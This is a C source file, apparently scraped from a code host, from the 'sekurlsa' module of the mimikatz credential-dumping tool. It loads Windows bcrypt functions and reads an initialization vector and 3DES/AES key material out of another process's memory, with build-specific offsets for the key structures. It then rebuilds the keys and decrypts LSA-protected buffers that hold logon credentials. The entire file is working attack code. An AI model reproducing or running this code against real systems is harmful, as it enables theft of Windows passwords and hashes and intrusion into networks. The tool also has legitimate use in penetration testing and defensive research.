176 lines
6.5 KiB
C
176 lines
6.5 KiB
C
/* Benjamin DELPY `gentilkiwi`
|
|
http://blog.gentilkiwi.com
|
|
benjamin@gentilkiwi.com
|
|
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
|
*/
|
|
#include "kuhl_m_sekurlsa_nt6.h"
|
|
|
|
NTSTATUS kuhl_m_sekurlsa_nt6_KeyInit = STATUS_NOT_FOUND;
|
|
HMODULE kuhl_m_sekurlsa_nt6_hBCrypt = NULL;
|
|
|
|
PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = NULL;
|
|
PBCRYPT_SET_PROPERTY K_BCryptSetProperty = NULL;
|
|
PBCRYPT_GET_PROPERTY K_BCryptGetProperty = NULL;
|
|
PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = NULL;
|
|
PBCRYPT_ENCRYPT K_BCryptEncrypt = NULL, K_BCryptDecrypt = NULL;
|
|
PBCRYPT_DESTROY_KEY K_BCryptDestroyKey = NULL;
|
|
PBCRYPT_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = NULL;
|
|
|
|
KIWI_BCRYPT_GEN_KEY k3Des, kAes;
|
|
BYTE InitializationVector[16];
|
|
|
|
NTSTATUS kuhl_m_sekurlsa_nt6_init()
|
|
{
|
|
if(!NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit))
|
|
{
|
|
if(!kuhl_m_sekurlsa_nt6_hBCrypt)
|
|
{
|
|
if(kuhl_m_sekurlsa_nt6_hBCrypt = LoadLibrary(L"bcrypt"))
|
|
{
|
|
K_BCryptOpenAlgorithmProvider = (PBCRYPT_OPEN_ALGORITHM_PROVIDER) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptOpenAlgorithmProvider");
|
|
K_BCryptSetProperty = (PBCRYPT_SET_PROPERTY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptSetProperty");
|
|
K_BCryptGetProperty = (PBCRYPT_GET_PROPERTY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptGetProperty");
|
|
K_BCryptGenerateSymmetricKey = (PBCRYPT_GENERATE_SYMMETRIC_KEY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptGenerateSymmetricKey");
|
|
K_BCryptEncrypt = (PBCRYPT_ENCRYPT) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptEncrypt");
|
|
K_BCryptDecrypt = (PBCRYPT_ENCRYPT) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptDecrypt");
|
|
K_BCryptDestroyKey = (PBCRYPT_DESTROY_KEY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptDestroyKey");
|
|
K_BCryptCloseAlgorithmProvider = (PBCRYPT_CLOSE_ALGORITHM_PROVIDER) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptCloseAlgorithmProvider");
|
|
}
|
|
}
|
|
if(kuhl_m_sekurlsa_nt6_hBCrypt && K_BCryptOpenAlgorithmProvider && K_BCryptSetProperty && K_BCryptGetProperty && K_BCryptGenerateSymmetricKey && K_BCryptEncrypt && K_BCryptDecrypt && K_BCryptDestroyKey && K_BCryptCloseAlgorithmProvider)
|
|
kuhl_m_sekurlsa_nt6_KeyInit = kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory();
|
|
}
|
|
return kuhl_m_sekurlsa_nt6_KeyInit;
|
|
}
|
|
|
|
NTSTATUS kuhl_m_sekurlsa_nt6_clean()
|
|
{
|
|
if(NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit))
|
|
kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory();
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
NTSTATUS kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory()
|
|
{
|
|
NTSTATUS status;
|
|
ULONG dwSizeNeeded;
|
|
|
|
status = K_BCryptOpenAlgorithmProvider(&k3Des.hProvider, BCRYPT_3DES_ALGORITHM, NULL, 0);
|
|
if(NT_SUCCESS(status))
|
|
{
|
|
status = K_BCryptSetProperty(k3Des.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
|
if(NT_SUCCESS(status))
|
|
{
|
|
status = K_BCryptGetProperty(k3Des.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &k3Des.cbKey, sizeof(k3Des.cbKey), &dwSizeNeeded, 0);
|
|
if(NT_SUCCESS(status))
|
|
k3Des.pKey = (PBYTE) LocalAlloc(LPTR, k3Des.cbKey);
|
|
}
|
|
}
|
|
|
|
if(NT_SUCCESS(status))
|
|
{
|
|
status = K_BCryptOpenAlgorithmProvider(&kAes.hProvider, BCRYPT_AES_ALGORITHM, NULL, 0);
|
|
if(NT_SUCCESS(status))
|
|
{
|
|
status = K_BCryptSetProperty(kAes.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
|
|
if(NT_SUCCESS(status))
|
|
{
|
|
status = K_BCryptGetProperty(kAes.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &kAes.cbKey, sizeof(kAes.cbKey), &dwSizeNeeded, 0);
|
|
if(NT_SUCCESS(status))
|
|
kAes.pKey = (PBYTE) LocalAlloc(LPTR, kAes.cbKey);
|
|
}
|
|
}
|
|
}
|
|
|
|
return status;
|
|
}
|
|
VOID kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory()
|
|
{
|
|
if (k3Des.hProvider)
|
|
K_BCryptCloseAlgorithmProvider(k3Des.hProvider, 0);
|
|
if (k3Des.hKey)
|
|
K_BCryptDestroyKey(k3Des.hKey);
|
|
LocalFree(k3Des.pKey);
|
|
|
|
if (kAes.hProvider)
|
|
K_BCryptCloseAlgorithmProvider(kAes.hProvider, 0);
|
|
if (kAes.hKey)
|
|
K_BCryptDestroyKey(kAes.hKey);
|
|
LocalFree(kAes.pKey);
|
|
|
|
kuhl_m_sekurlsa_nt6_KeyInit = STATUS_NOT_FOUND;
|
|
}
|
|
|
|
VOID WINAPI kuhl_m_sekurlsa_nt6_LsaUnprotectMemory (IN PVOID Buffer, IN ULONG BufferSize)
|
|
{
|
|
BCRYPT_KEY_HANDLE *hKey;
|
|
BYTE LocalInitializationVector[16];
|
|
ULONG cbIV, cbResult;
|
|
RtlCopyMemory(LocalInitializationVector, InitializationVector, sizeof(InitializationVector));
|
|
if (BufferSize % 8)
|
|
{
|
|
hKey = &kAes.hKey;
|
|
cbIV = sizeof(InitializationVector);
|
|
}
|
|
else
|
|
{
|
|
hKey = &k3Des.hKey;
|
|
cbIV = sizeof(InitializationVector) / 2;
|
|
}
|
|
K_BCryptDecrypt(*hKey, (PUCHAR) Buffer, BufferSize, 0, LocalInitializationVector, cbIV, (PUCHAR) Buffer, BufferSize, &cbResult, 0);
|
|
}
|
|
|
|
NTSTATUS kuhl_m_sekurlsa_nt6_acquireKeys(ULONG_PTR pInitializationVector, ULONG_PTR phAesKey, ULONG_PTR ph3DesKey)
|
|
{
|
|
NTSTATUS status = STATUS_NOT_FOUND;
|
|
if(ReadMemory(pInitializationVector, InitializationVector, sizeof(InitializationVector), NULL))
|
|
if(kuhl_m_sekurlsa_nt6_acquireKey(ph3DesKey, &k3Des) && kuhl_m_sekurlsa_nt6_acquireKey(phAesKey, &kAes))
|
|
status = STATUS_SUCCESS;
|
|
return status;
|
|
}
|
|
|
|
BOOL kuhl_m_sekurlsa_nt6_acquireKey(ULONG_PTR phKey, PKIWI_BCRYPT_GEN_KEY pGenKey)
|
|
{
|
|
BOOL status = FALSE;
|
|
KIWI_BCRYPT_HANDLE_KEY hKey; PKIWI_HARD_KEY pHardKey;
|
|
PVOID ptr, buffer, bufferHardKey;
|
|
ULONG taille; LONG offset;
|
|
|
|
if(NtBuildNumber < 8000)
|
|
{
|
|
taille = sizeof(KIWI_BCRYPT_KEY);
|
|
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY, hardkey);
|
|
}
|
|
else if(NtBuildNumber < 9400)
|
|
{
|
|
taille = sizeof(KIWI_BCRYPT_KEY8);
|
|
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY8, hardkey);
|
|
}
|
|
else
|
|
{
|
|
taille = sizeof(KIWI_BCRYPT_KEY81);
|
|
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY81, hardkey);
|
|
}
|
|
|
|
if(buffer = LocalAlloc(LPTR, taille))
|
|
{
|
|
if(ReadMemory(phKey, &ptr, sizeof(PVOID), NULL))
|
|
{
|
|
if(ReadMemory((ULONG_PTR) ptr, &hKey, sizeof(KIWI_BCRYPT_HANDLE_KEY), NULL) && hKey.tag == 'UUUR')
|
|
{
|
|
if(ReadMemory((ULONG_PTR) hKey.key, buffer, taille, NULL) && ((PKIWI_BCRYPT_KEY) buffer)->tag == 'MSSK') // same as 8
|
|
{
|
|
pHardKey = (PKIWI_HARD_KEY) ((PBYTE) buffer + offset);
|
|
if(bufferHardKey = LocalAlloc(LPTR, pHardKey->cbSecret))
|
|
{
|
|
if(ReadMemory((ULONG_PTR) hKey.key + offset + FIELD_OFFSET(KIWI_HARD_KEY, data), bufferHardKey, pHardKey->cbSecret, NULL))
|
|
status = NT_SUCCESS(K_BCryptGenerateSymmetricKey(pGenKey->hProvider, &pGenKey->hKey, pGenKey->pKey, pGenKey->cbKey, (PUCHAR) bufferHardKey, pHardKey->cbSecret, 0));
|
|
LocalFree(bufferHardKey);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
LocalFree(buffer);
|
|
}
|
|
return status;
|
|
} |